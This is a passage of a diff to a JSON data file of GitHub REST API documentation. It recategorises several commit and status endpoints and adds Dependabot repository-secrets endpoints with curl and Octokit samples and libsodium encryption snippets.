     "descriptionHTML": "<p>Lists the merged pull request that introduced the commit to the repository. If the commit is not present in the default branch, additionally returns open pull requests associated with the commit. The results may include open and closed pull requests. Additional preview headers may be required to see certain details for associated pull requests, such as whether a pull request is in a draft state. For more information about previews that might affect this endpoint, see the <a href=\"https://docs.github.com/rest/reference/pulls#list-pull-requests\">List pull requests</a> endpoint.</p>",
@@ -53996,10 +54913,8 @@
       "subcategory": "commits"
     },
     "slug": "get-a-commit",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "commits",
-    "subcategoryLabel": "Commits",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Returns the contents of a single commit reference. You must have <code>read</code> access for the repository to use this endpoint.</p>\n<p><strong>Note:</strong> If there are more than 300 files in the commit diff, the response will include pagination link headers for the remaining files, up to a limit of 3000 files. Each page contains the static commit information, and the only changes are to the file listing.</p>\n<p>You can pass the appropriate <a href=\"https://docs.github.com/rest/overview/media-types/#commits-commit-comparison-and-pull-requests\">media type</a> to  fetch <code>diff</code> and <code>patch</code> formats. Diffs with binary data will have no <code>patch</code> property.</p>\n<p>To return only the SHA-1 hash of the commit reference, you can provide the <code>sha</code> custom <a href=\"https://docs.github.com/rest/overview/media-types/#commits-commit-comparison-and-pull-requests\">media type</a> in the <code>Accept</code> header. You can use this endpoint to check if a remote reference's SHA-1 hash is the same as your local reference's SHA-1 hash by providing the local SHA-1 reference as the ETag.</p>\n<p><strong>Signature verification object</strong></p>\n<p>The response will include a <code>verification</code> object that describes the result of verifying the commit's signature. The following fields are included in the <code>verification</code> object:</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Name</th><th>Type</th><th>Description</th></tr></thead><tbody><tr><td><code>verified</code></td><td><code>boolean</code></td><td>Indicates whether GitHub considers the signature in this commit to be verified.</td></tr><tr><td><code>reason</code></td><td><code>string</code></td><td>The reason for verified value. Possible values and their meanings are enumerated in table below.</td></tr><tr><td><code>signature</code></td><td><code>string</code></td><td>The signature that was extracted from the commit.</td></tr><tr><td><code>payload</code></td><td><code>string</code></td><td>The value that was signed.</td></tr></tbody></table>\n<p>These are the possible values for <code>reason</code> in the <code>verification</code> object:</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Value</th><th>Description</th></tr></thead><tbody><tr><td><code>expired_key</code></td><td>The key that made the signature is expired.</td></tr><tr><td><code>not_signing_key</code></td><td>The \"signing\" flag is not among the usage flags in the GPG key that made the signature.</td></tr><tr><td><code>gpgverify_error</code></td><td>There was an error communicating with the signature verification service.</td></tr><tr><td><code>gpgverify_unavailable</code></td><td>The signature verification service is currently unavailable.</td></tr><tr><td><code>unsigned</code></td><td>The object does not include a signature.</td></tr><tr><td><code>unknown_signature_type</code></td><td>A non-PGP signature was found in the commit.</td></tr><tr><td><code>no_user</code></td><td>No user was associated with the <code>committer</code> email address in the commit.</td></tr><tr><td><code>unverified_email</code></td><td>The <code>committer</code> email address in the commit was associated with a user, but the email address is not verified on her/his account.</td></tr><tr><td><code>bad_email</code></td><td>The <code>committer</code> email address in the commit is not included in the identities of the PGP key that made the signature.</td></tr><tr><td><code>unknown_key</code></td><td>The key that made the signature has not been registered with any user's account.</td></tr><tr><td><code>malformed_signature</code></td><td>There was an error parsing the signature.</td></tr><tr><td><code>invalid</code></td><td>The signature could not be cryptographically verified using the key whose key-id was found in the signature.</td></tr><tr><td><code>valid</code></td><td>None of the above errors applied, so the signature is considered to be verified.</td></tr></tbody></table>",
@@ -54381,8 +55296,8 @@
       "subcategory": "statuses"
     },
     "slug": "get-the-combined-status-for-a-specific-reference",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "subcategory": "statuses",
     "subcategoryLabel": "Statuses",
     "notes": [],
@@ -54486,8 +55401,8 @@
       "subcategory": "statuses"
     },
     "slug": "list-commit-statuses-for-a-reference",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "subcategory": "statuses",
     "subcategoryLabel": "Statuses",
     "notes": [],
@@ -54560,8 +55475,8 @@
       "subcategory": "community"
     },
     "slug": "get-community-profile-metrics",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "metrics",
+    "categoryLabel": "Metrics",
     "subcategory": "community",
     "subcategoryLabel": "Community",
     "notes": [],
@@ -54659,10 +55574,8 @@
       "subcategory": "commits"
     },
     "slug": "compare-two-commits",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "commits",
-    "subcategoryLabel": "Commits",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>The <code>basehead</code> param is comprised of two parts: <code>base</code> and <code>head</code>. Both must be branch names in <code>repo</code>. To compare branches across other repositories in the same network as <code>repo</code>, use the format <code>&lt;USERNAME&gt;:branch</code>.</p>\n<p>The response from the API is equivalent to running the <code>git log base..head</code> command; however, commits are returned in chronological order. Pass the appropriate <a href=\"https://docs.github.com/rest/overview/media-types/#commits-commit-comparison-and-pull-requests\">media type</a> to fetch diff and patch formats.</p>\n<p>The response also includes details on the files that were changed between the two commits. This includes the status of the change (for example, if a file was added, removed, modified, or renamed), and details of the change itself. For example, files with a <code>renamed</code> status have a <code>previous_filename</code> field showing the previous filename of the file, and files with a <code>modified</code> status have a <code>patch</code> field showing the changes made to the file.</p>\n<p><strong>Working with large comparisons</strong></p>\n<p>To process a response with a large number of commits, you can use (<code>per_page</code> or <code>page</code>) to paginate the results. When using paging, the list of changed files is only returned with page 1, but includes all changed files for the entire comparison. For more information on working with pagination, see \"<a href=\"/rest/guides/traversing-with-pagination\">Traversing with pagination</a>.\"</p>\n<p>When calling this API without any paging parameters (<code>per_page</code> or <code>page</code>), the returned list is limited to 250 commits and the last commit in the list is the most recent of the entire comparison. When a paging parameter is specified, the first commit in the returned list of each page is the earliest.</p>\n<p><strong>Signature verification object</strong></p>\n<p>The response will include a <code>verification</code> object that describes the result of verifying the commit's signature. The following fields are included in the <code>verification</code> object:</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Name</th><th>Type</th><th>Description</th></tr></thead><tbody><tr><td><code>verified</code></td><td><code>boolean</code></td><td>Indicates whether GitHub considers the signature in this commit to be verified.</td></tr><tr><td><code>reason</code></td><td><code>string</code></td><td>The reason for verified value. Possible values and their meanings are enumerated in table below.</td></tr><tr><td><code>signature</code></td><td><code>string</code></td><td>The signature that was extracted from the commit.</td></tr><tr><td><code>payload</code></td><td><code>string</code></td><td>The value that was signed.</td></tr></tbody></table>\n<p>These are the possible values for <code>reason</code> in the <code>verification</code> object:</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Value</th><th>Description</th></tr></thead><tbody><tr><td><code>expired_key</code></td><td>The key that made the signature is expired.</td></tr><tr><td><code>not_signing_key</code></td><td>The \"signing\" flag is not among the usage flags in the GPG key that made the signature.</td></tr><tr><td><code>gpgverify_error</code></td><td>There was an error communicating with the signature verification service.</td></tr><tr><td><code>gpgverify_unavailable</code></td><td>The signature verification service is currently unavailable.</td></tr><tr><td><code>unsigned</code></td><td>The object does not include a signature.</td></tr><tr><td><code>unknown_signature_type</code></td><td>A non-PGP signature was found in the commit.</td></tr><tr><td><code>no_user</code></td><td>No user was associated with the <code>committer</code> email address in the commit.</td></tr><tr><td><code>unverified_email</code></td><td>The <code>committer</code> email address in the commit was associated with a user, but the email address is not verified on her/his account.</td></tr><tr><td><code>bad_email</code></td><td>The <code>committer</code> email address in the commit is not included in the identities of the PGP key that made the signature.</td></tr><tr><td><code>unknown_key</code></td><td>The key that made the signature has not been registered with any user's account.</td></tr><tr><td><code>malformed_signature</code></td><td>There was an error parsing the signature.</td></tr><tr><td><code>invalid</code></td><td>The signature could not be cryptographically verified using the key whose key-id was found in the signature.</td></tr><tr><td><code>valid</code></td><td>None of the above errors applied, so the signature is considered to be verified.</td></tr></tbody></table>",
@@ -55844,6 +56757,460 @@
       }
     ]
   },
+  {
+    "verb": "get",
+    "requestPath": "/repos/{owner}/{repo}/dependabot/secrets",
+    "serverUrl": "https://api.github.com",
+    "parameters": [
+      {
+        "name": "owner",
+        "in": "path",
+        "required": true,
+        "schema": {
+          "type": "string"
+        },
+        "descriptionHTML": ""
+      },
+      {
+        "name": "repo",
+        "in": "path",
+        "required": true,
+        "schema": {
+          "type": "string"
+        },
+        "descriptionHTML": ""
+      },
+      {
+        "name": "per_page",
+        "description": "Results per page (max 100)",
+        "in": "query",
+        "schema": {
+          "type": "integer",
+          "default": 30
+        },
+        "descriptionHTML": "<p>Results per page (max 100)</p>"
+      },
+      {
+        "name": "page",
+        "description": "Page number of the results to fetch.",
+        "in": "query",
+        "schema": {
+          "type": "integer",
+          "default": 1
+        },
+        "descriptionHTML": "<p>Page number of the results to fetch.</p>"
+      }
+    ],
+    "x-codeSamples": [
+      {
+        "lang": "Shell",
+        "source": "curl \\\n  -H \"Accept: application/vnd.github.v3+json\" \\\n  https://api.github.com/repos/octocat/hello-world/dependabot/secrets",
+        "html": "<pre><code class=\"hljs language-shell\">curl \\\n  -H \"Accept: application/vnd.github.v3+json\" \\\n  https://api.github.com/repos/octocat/hello-world/dependabot/secrets</code></pre>"
+      },
+      {
+        "lang": "JavaScript",
+        "source": "await octokit.request('GET /repos/{owner}/{repo}/dependabot/secrets', {\n  owner: 'octocat',\n  repo: 'hello-world'\n})",
+        "html": "<pre><code class=\"hljs language-javascript\"><span class=\"hljs-keyword\">await</span> octokit.<span class=\"hljs-title hljs-function\">request</span>(<span class=\"hljs-string\">'GET /repos/{owner}/{repo}/dependabot/secrets'</span>, {\n  <span class=\"hljs-attr\">owner</span>: <span class=\"hljs-string\">'octocat'</span>,\n  <span class=\"hljs-attr\">repo</span>: <span class=\"hljs-string\">'hello-world'</span>\n})\n</code></pre>"
+      }
+    ],
+    "summary": "List repository secrets",
+    "description": "Lists all secrets available in a repository without revealing their encrypted values. You must authenticate using an access token with the `repo` scope to use this endpoint. GitHub Apps must have the `dependabot_secrets` repository permission to use this endpoint.",
+    "tags": [
+      "dependabot"
+    ],
+    "operationId": "dependabot/list-repo-secrets",
+    "externalDocs": {
+      "description": "API method documentation",
+      "url": "https://docs.github.com/rest/reference/dependabot#list-repository-secrets"
+    },
+    "x-github": {
+      "githubCloudOnly": false,
+      "enabledForGitHubApps": true,
+      "category": "dependabot",
+      "subcategory": "secrets"
+    },
+    "slug": "list-repository-secrets",
+    "category": "dependabot",
+    "categoryLabel": "Dependabot",
+    "subcategory": "secrets",
+    "subcategoryLabel": "Secrets",
+    "notes": [],
+    "bodyParameters": [],
+    "descriptionHTML": "<p>Lists all secrets available in a repository without revealing their encrypted values. You must authenticate using an access token with the <code>repo</code> scope to use this endpoint. GitHub Apps must have the <code>dependabot_secrets</code> repository permission to use this endpoint.</p>",
+    "responses": [
+      {
+        "httpStatusCode": "200",
+        "httpStatusMessage": "OK",
+        "description": "Response",
+        "payload": "<pre><code class=\"hljs language-json\"><span class=\"hljs-punctuation\">{</span>\n  <span class=\"hljs-attr\">\"total_count\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-number\">2</span><span class=\"hljs-punctuation\">,</span>\n  <span class=\"hljs-attr\">\"secrets\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-punctuation\">[</span>\n    <span class=\"hljs-punctuation\">{</span>\n      <span class=\"hljs-attr\">\"name\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"AZURE_DEVOPS_PAT\"</span><span class=\"hljs-punctuation\">,</span>\n      <span class=\"hljs-attr\">\"created_at\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"2019-08-10T14:59:22Z\"</span><span class=\"hljs-punctuation\">,</span>\n      <span class=\"hljs-attr\">\"updated_at\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"2020-01-10T14:59:22Z\"</span>\n    <span class=\"hljs-punctuation\">}</span><span class=\"hljs-punctuation\">,</span>\n    <span class=\"hljs-punctuation\">{</span>\n      <span class=\"hljs-attr\">\"name\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"MY_ARTIFACTORY_PASSWORD\"</span><span class=\"hljs-punctuation\">,</span>\n      <span class=\"hljs-attr\">\"created_at\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"2020-01-10T10:59:22Z\"</span><span class=\"hljs-punctuation\">,</span>\n      <span class=\"hljs-attr\">\"updated_at\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"2020-01-11T11:59:22Z\"</span>\n    <span class=\"hljs-punctuation\">}</span>\n  <span class=\"hljs-punctuation\">]</span>\n<span class=\"hljs-punctuation\">}</span>\n</code></pre>"
+      }
+    ]
+  },
+  {
+    "verb": "get",
+    "requestPath": "/repos/{owner}/{repo}/dependabot/secrets/public-key",
+    "serverUrl": "https://api.github.com",
+    "parameters": [
+      {
+        "name": "owner",
+        "in": "path",
+        "required": true,
+        "schema": {
+          "type": "string"
+        },
+        "descriptionHTML": ""
+      },
+      {
+        "name": "repo",
+        "in": "path",
+        "required": true,
+        "schema": {
+          "type": "string"
+        },
+        "descriptionHTML": ""
+      }
+    ],
+    "x-codeSamples": [
+      {
+        "lang": "Shell",
+        "source": "curl \\\n  -H \"Accept: application/vnd.github.v3+json\" \\\n  https://api.github.com/repos/octocat/hello-world/dependabot/secrets/public-key",
+        "html": "<pre><code class=\"hljs language-shell\">curl \\\n  -H \"Accept: application/vnd.github.v3+json\" \\\n  https://api.github.com/repos/octocat/hello-world/dependabot/secrets/public-key</code></pre>"
+      },
+      {
+        "lang": "JavaScript",
+        "source": "await octokit.request('GET /repos/{owner}/{repo}/dependabot/secrets/public-key', {\n  owner: 'octocat',\n  repo: 'hello-world'\n})",
+        "html": "<pre><code class=\"hljs language-javascript\"><span class=\"hljs-keyword\">await</span> octokit.<span class=\"hljs-title hljs-function\">request</span>(<span class=\"hljs-string\">'GET /repos/{owner}/{repo}/dependabot/secrets/public-key'</span>, {\n  <span class=\"hljs-attr\">owner</span>: <span class=\"hljs-string\">'octocat'</span>,\n  <span class=\"hljs-attr\">repo</span>: <span class=\"hljs-string\">'hello-world'</span>\n})\n</code></pre>"
+      }
+    ],
+    "summary": "Get a repository public key",
+    "description": "Gets your public key, which you need to encrypt secrets. You need to encrypt a secret before you can create or update secrets. Anyone with read access to the repository can use this endpoint. If the repository is private you must use an access token with the `repo` scope. GitHub Apps must have the `dependabot_secrets` repository permission to use this endpoint.",
+    "tags": [
+      "dependabot"
+    ],
+    "operationId": "dependabot/get-repo-public-key",
+    "externalDocs": {
+      "description": "API method documentation",
+      "url": "https://docs.github.com/rest/reference/dependabot#get-a-repository-public-key"
+    },
+    "x-github": {
+      "githubCloudOnly": false,
+      "enabledForGitHubApps": true,
+      "category": "dependabot",
+      "subcategory": "secrets"
+    },
+    "slug": "get-a-repository-public-key",
+    "category": "dependabot",
+    "categoryLabel": "Dependabot",
+    "subcategory": "secrets",
+    "subcategoryLabel": "Secrets",
+    "notes": [],
+    "bodyParameters": [],
+    "descriptionHTML": "<p>Gets your public key, which you need to encrypt secrets. You need to encrypt a secret before you can create or update secrets. Anyone with read access to the repository can use this endpoint. If the repository is private you must use an access token with the <code>repo</code> scope. GitHub Apps must have the <code>dependabot_secrets</code> repository permission to use this endpoint.</p>",
+    "responses": [
+      {
+        "httpStatusCode": "200",
+        "httpStatusMessage": "OK",
+        "description": "Response",
+        "payload": "<pre><code class=\"hljs language-json\"><span class=\"hljs-punctuation\">{</span>\n  <span class=\"hljs-attr\">\"key_id\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"012345678912345678\"</span><span class=\"hljs-punctuation\">,</span>\n  <span class=\"hljs-attr\">\"key\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"2Sg8iYjAxxmI2LvUXpJjkYrMxURPc8r+dB7TJyvv1234\"</span>\n<span class=\"hljs-punctuation\">}</span>\n</code></pre>"
+      }
+    ]
+  },
+  {
+    "verb": "get",
+    "requestPath": "/repos/{owner}/{repo}/dependabot/secrets/{secret_name}",
+    "serverUrl": "https://api.github.com",
+    "parameters": [
+      {
+        "name": "owner",
+        "in": "path",
+        "required": true,
+        "schema": {
+          "type": "string"
+        },
+        "descriptionHTML": ""
+      },
+      {
+        "name": "repo",
+        "in": "path",
+        "required": true,
+        "schema": {
+          "type": "string"
+        },
+        "descriptionHTML": ""
+      },
+      {
+        "name": "secret_name",
+        "description": "secret_name parameter",
+        "in": "path",
+        "required": true,
+        "schema": {
+          "type": "string"
+        },
+        "descriptionHTML": "<p>secret_name parameter</p>"
+      }
+    ],
+    "x-codeSamples": [
+      {
+        "lang": "Shell",
+        "source": "curl \\\n  -H \"Accept: application/vnd.github.v3+json\" \\\n  https://api.github.com/repos/octocat/hello-world/dependabot/secrets/SECRET_NAME",
+        "html": "<pre><code class=\"hljs language-shell\">curl \\\n  -H \"Accept: application/vnd.github.v3+json\" \\\n  https://api.github.com/repos/octocat/hello-world/dependabot/secrets/SECRET_NAME</code></pre>"
+      },
+      {
+        "lang": "JavaScript",
+        "source": "await octokit.request('GET /repos/{owner}/{repo}/dependabot/secrets/{secret_name}', {\n  owner: 'octocat',\n  repo: 'hello-world',\n  secret_name: 'secret_name'\n})",
+        "html": "<pre><code class=\"hljs language-javascript\"><span class=\"hljs-keyword\">await</span> octokit.<span class=\"hljs-title hljs-function\">request</span>(<span class=\"hljs-string\">'GET /repos/{owner}/{repo}/dependabot/secrets/{secret_name}'</span>, {\n  <span class=\"hljs-attr\">owner</span>: <span class=\"hljs-string\">'octocat'</span>,\n  <span class=\"hljs-attr\">repo</span>: <span class=\"hljs-string\">'hello-world'</span>,\n  <span class=\"hljs-attr\">secret_name</span>: <span class=\"hljs-string\">'secret_name'</span>\n})\n</code></pre>"
+      }
+    ],
+    "summary": "Get a repository secret",
+    "description": "Gets a single repository secret without revealing its encrypted value. You must authenticate using an access token with the `repo` scope to use this endpoint. GitHub Apps must have the `dependabot_secrets` repository permission to use this endpoint.",
+    "tags": [
+      "dependabot"
+    ],
+    "operationId": "dependabot/get-repo-secret",
+    "externalDocs": {
+      "description": "API method documentation",
+      "url": "https://docs.github.com/rest/reference/dependabot#get-a-repository-secret"
+    },
+    "x-github": {
+      "githubCloudOnly": false,
+      "enabledForGitHubApps": true,
+      "category": "dependabot",
+      "subcategory": "secrets"
+    },
+    "slug": "get-a-repository-secret",
+    "category": "dependabot",
+    "categoryLabel": "Dependabot",
+    "subcategory": "secrets",
+    "subcategoryLabel": "Secrets",
+    "notes": [],
+    "bodyParameters": [],
+    "descriptionHTML": "<p>Gets a single repository secret without revealing its encrypted value. You must authenticate using an access token with the <code>repo</code> scope to use this endpoint. GitHub Apps must have the <code>dependabot_secrets</code> repository permission to use this endpoint.</p>",
+    "responses": [
+      {
+        "httpStatusCode": "200",
+        "httpStatusMessage": "OK",
+        "description": "Response",
+        "payload": "<pre><code class=\"hljs language-json\"><span class=\"hljs-punctuation\">{</span>\n  <span class=\"hljs-attr\">\"name\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"MY_ARTIFACTORY_PASSWORD\"</span><span class=\"hljs-punctuation\">,</span>\n  <span class=\"hljs-attr\">\"created_at\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"2019-08-10T14:59:22Z\"</span><span class=\"hljs-punctuation\">,</span>\n  <span class=\"hljs-attr\">\"updated_at\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"2020-01-10T14:59:22Z\"</span>\n<span class=\"hljs-punctuation\">}</span>\n</code></pre>"
+      }
+    ]
+  },
+  {
+    "verb": "put",
+    "requestPath": "/repos/{owner}/{repo}/dependabot/secrets/{secret_name}",
+    "serverUrl": "https://api.github.com",
+    "parameters": [
+      {
+        "name": "owner",
+        "in": "path",
+        "required": true,
+        "schema": {
+          "type": "string"
+        },
+        "descriptionHTML": ""
+      },
+      {
+        "name": "repo",
+        "in": "path",
+        "required": true,
+        "schema": {
+          "type": "string"
+        },
+        "descriptionHTML": ""
+      },
+      {
+        "name": "secret_name",
+        "description": "secret_name parameter",
+        "in": "path",
+        "required": true,
+        "schema": {
+          "type": "string"
+        },
+        "descriptionHTML": "<p>secret_name parameter</p>"
+      }
+    ],
+    "x-codeSamples": [
+      {
+        "lang": "Shell",
+        "source": "curl \\\n  -X PUT \\\n  -H \"Accept: application/vnd.github.v3+json\" \\\n  https://api.github.com/repos/octocat/hello-world/dependabot/secrets/SECRET_NAME \\\n  -d '{\"encrypted_value\":\"encrypted_value\"}'",
+        "html": "<pre><code class=\"hljs language-shell\">curl \\\n  -X PUT \\\n  -H \"Accept: application/vnd.github.v3+json\" \\\n  https://api.github.com/repos/octocat/hello-world/dependabot/secrets/SECRET_NAME \\\n  -d '{\"encrypted_value\":\"encrypted_value\"}'</code></pre>"
+      },
+      {
+        "lang": "JavaScript",
+        "source": "await octokit.request('PUT /repos/{owner}/{repo}/dependabot/secrets/{secret_name}', {\n  owner: 'octocat',\n  repo: 'hello-world',\n  secret_name: 'secret_name',\n  encrypted_value: 'encrypted_value'\n})",
+        "html": "<pre><code class=\"hljs language-javascript\"><span class=\"hljs-keyword\">await</span> octokit.<span class=\"hljs-title hljs-function\">request</span>(<span class=\"hljs-string\">'PUT /repos/{owner}/{repo}/dependabot/secrets/{secret_name}'</span>, {\n  <span class=\"hljs-attr\">owner</span>: <span class=\"hljs-string\">'octocat'</span>,\n  <span class=\"hljs-attr\">repo</span>: <span class=\"hljs-string\">'hello-world'</span>,\n  <span class=\"hljs-attr\">secret_name</span>: <span class=\"hljs-string\">'secret_name'</span>,\n  <span class=\"hljs-attr\">encrypted_value</span>: <span class=\"hljs-string\">'encrypted_value'</span>\n})\n</code></pre>"
+      }
+    ],
+    "summary": "Create or update a repository secret",
+    "description": "Creates or updates a repository secret with an encrypted value. Encrypt your secret using\n[LibSodium](https://libsodium.gitbook.io/doc/bindings_for_other_languages). You must authenticate using an access\ntoken with the `repo` scope to use this endpoint. GitHub Apps must have the `dependabot_secrets` repository\npermission to use this endpoint.\n\n#### Example encrypting a secret using Node.js\n\nEncrypt your secret using the [tweetsodium](https://github.com/github/tweetsodium) library.\n\n```\nconst sodium = require('tweetsodium');\n\nconst key = \"base64-encoded-public-key\";\nconst value = \"plain-text-secret\";\n\n// Convert the message and key to Uint8Array's (Buffer implements that interface)\nconst messageBytes = Buffer.from(value);\nconst keyBytes = Buffer.from(key, 'base64');\n\n// Encrypt using LibSodium.\nconst encryptedBytes = sodium.seal(messageBytes, keyBytes);\n\n// Base64 the encrypted secret\nconst encrypted = Buffer.from(encryptedBytes).toString('base64');\n\nconsole.log(encrypted);\n```\n\n\n#### Example encrypting a secret using Python\n\nEncrypt your secret using [pynacl](https://pynacl.readthedocs.io/en/stable/public/#nacl-public-sealedbox) with Python 3.\n\n```\nfrom base64 import b64encode\nfrom nacl import encoding, public\n\ndef encrypt(public_key: str, secret_value: str) -> str:\n  \"\"\"Encrypt a Unicode string using the public key.\"\"\"\n  public_key = public.PublicKey(public_key.encode(\"utf-8\"), encoding.Base64Encoder())\n  sealed_box = public.SealedBox(public_key)\n  encrypted = sealed_box.encrypt(secret_value.encode(\"utf-8\"))\n  return b64encode(encrypted).decode(\"utf-8\")\n```\n\n#### Example encrypting a secret using C#\n\nEncrypt your secret using the [Sodium.Core](https://www.nuget.org/packages/Sodium.Core/) package.\n\n```\nvar secretValue = System.Text.Encoding.UTF8.GetBytes(\"mySecret\");\nvar publicKey = Convert.FromBase64String(\"2Sg8iYjAxxmI2LvUXpJjkYrMxURPc8r+dB7TJyvvcCU=\");\n\nvar sealedPublicKeyBox = Sodium.SealedPublicKeyBox.Create(secretValue, publicKey);\n\nConsole.WriteLine(Convert.ToBase64String(sealedPublicKeyBox));\n```\n\n#### Example encrypting a secret using Ruby\n\nEncrypt your secret using the [rbnacl](https://github.com/RubyCrypto/rbnacl) gem.\n\n```ruby\nrequire \"rbnacl\"\nrequire \"base64\"\n\nkey = Base64.decode64(\"+ZYvJDZMHUfBkJdyq5Zm9SKqeuBQ4sj+6sfjlH4CgG0=\")\npublic_key = RbNaCl::PublicKey.new(key)\n\nbox = RbNaCl::Boxes::Sealed.from_public_key(public_key)\nencrypted_secret = box.encrypt(\"my_secret\")\n\n# Print the base64 encoded secret\nputs Base64.strict_encode64(encrypted_secret)\n```",
+    "tags": [
+      "dependabot"
+    ],
+    "operationId": "dependabot/create-or-update-repo-secret",
+    "externalDocs": {
+      "description": "API method documentation",
+      "url": "https://docs.github.com/rest/reference/dependabot#create-or-update-a-repository-secret"
+    },
+    "requestBody": {
+      "required": true,
+      "content": {
+        "application/json": {
+          "schema": {
+            "type": "object",
+            "properties": {
+              "encrypted_value": {
+                "type": "string",
+                "description": "<p>Value for your secret, encrypted with <a href=\"https://libsodium.gitbook.io/doc/bindings_for_other_languages\">LibSodium</a> using the public key retrieved from the <a href=\"https://docs.github.com/rest/reference/dependabot#get-a-repository-public-key\">Get a repository public key</a> endpoint.</p>",
+                "pattern": "^(?:[A-Za-z0-9+/]{4})*(?:[A-Za-z0-9+/]{2}==|[A-Za-z0-9+/]{3}=|[A-Za-z0-9+/]{4})$",
+                "name": "encrypted_value",
+                "in": "body",
+                "rawType": "string",
+                "rawDescription": "Value for your secret, encrypted with [LibSodium](https://libsodium.gitbook.io/doc/bindings_for_other_languages) using the public key retrieved from the [Get a repository public key](https://docs.github.com/rest/reference/dependabot#get-a-repository-public-key) endpoint.",
+                "childParamsGroups": []
+              },
+              "key_id": {
+                "type": "string",
+                "description": "<p>ID of the key you used to encrypt the secret.</p>",
+                "name": "key_id",
+                "in": "body",
+                "rawType": "string",
+                "rawDescription": "ID of the key you used to encrypt the secret.",
+                "childParamsGroups": []
+              }
+            }
+          },
+          "example": {
+            "encrypted_value": "c2VjcmV0",
+            "key_id": "012345678912345678"
+          }
+        }
+      }
+    },
+    "x-github": {
+      "githubCloudOnly": false,
+      "enabledForGitHubApps": true,
+      "category": "dependabot",
+      "subcategory": "secrets"
+    },
+    "slug": "create-or-update-a-repository-secret",
+    "category": "dependabot",
+    "categoryLabel": "Dependabot",
+    "subcategory": "secrets",
+    "subcategoryLabel": "Secrets",
+    "contentType": "application/json",
+    "notes": [],
+    "responses": [
+      {
+        "httpStatusCode": "201",
+        "httpStatusMessage": "Created",
+        "description": "Response when creating a secret"
+      },
+      {
+        "httpStatusCode": "204",
+        "httpStatusMessage": "No Content",
+        "description": "Response when updating a secret"
+      }
+    ],
+    "descriptionHTML": "<p>Creates or updates a repository secret with an encrypted value. Encrypt your secret using\n<a href=\"https://libsodium.gitbook.io/doc/bindings_for_other_languages\">LibSodium</a>. You must authenticate using an access\ntoken with the <code>repo</code> scope to use this endpoint. GitHub Apps must have the <code>dependabot_secrets</code> repository\npermission to use this endpoint.</p>\n<h4 id=\"example-encrypting-a-secret-using-nodejs\"><a aria-hidden=\"\" tabindex=\"-1\" class=\"doctocat-link\" href=\"#example-encrypting-a-secret-using-nodejs\"><svg aria-hidden=\"\" role=\"img\" class=\"octicon-link\" viewBox=\"0 0 16 16\" width=\"16\" height=\"16\" fill=\"currentColor\" style=\"display:inline-block;user-select:none;vertical-align:middle\"><path fill-rule=\"evenodd\" d=\"M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z\"></path></svg></a>Example encrypting a secret using Node.js</h4>\n<p>Encrypt your secret using the <a href=\"https://github.com/github/tweetsodium\">tweetsodium</a> library.</p>\n<pre><code>const sodium = require('tweetsodium');\n\nconst key = \"base64-encoded-public-key\";\nconst value = \"plain-text-secret\";\n\n// Convert the message and key to Uint8Array's (Buffer implements that interface)\nconst messageBytes = Buffer.from(value);\nconst keyBytes = Buffer.from(key, 'base64');\n\n// Encrypt using LibSodium.\nconst encryptedBytes = sodium.seal(messageBytes, keyBytes);\n\n// Base64 the encrypted secret\nconst encrypted = Buffer.from(encryptedBytes).toString('base64');\n\nconsole.log(encrypted);\n</code></pre>\n<h4 id=\"example-encrypting-a-secret-using-python\"><a aria-hidden=\"\" tabindex=\"-1\" class=\"doctocat-link\" href=\"#example-encrypting-a-secret-using-python\"><svg aria-hidden=\"\" role=\"img\" class=\"octicon-link\" viewBox=\"0 0 16 16\" width=\"16\" height=\"16\" fill=\"currentColor\" style=\"display:inline-block;user-select:none;vertical-align:middle\"><path fill-rule=\"evenodd\" d=\"M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 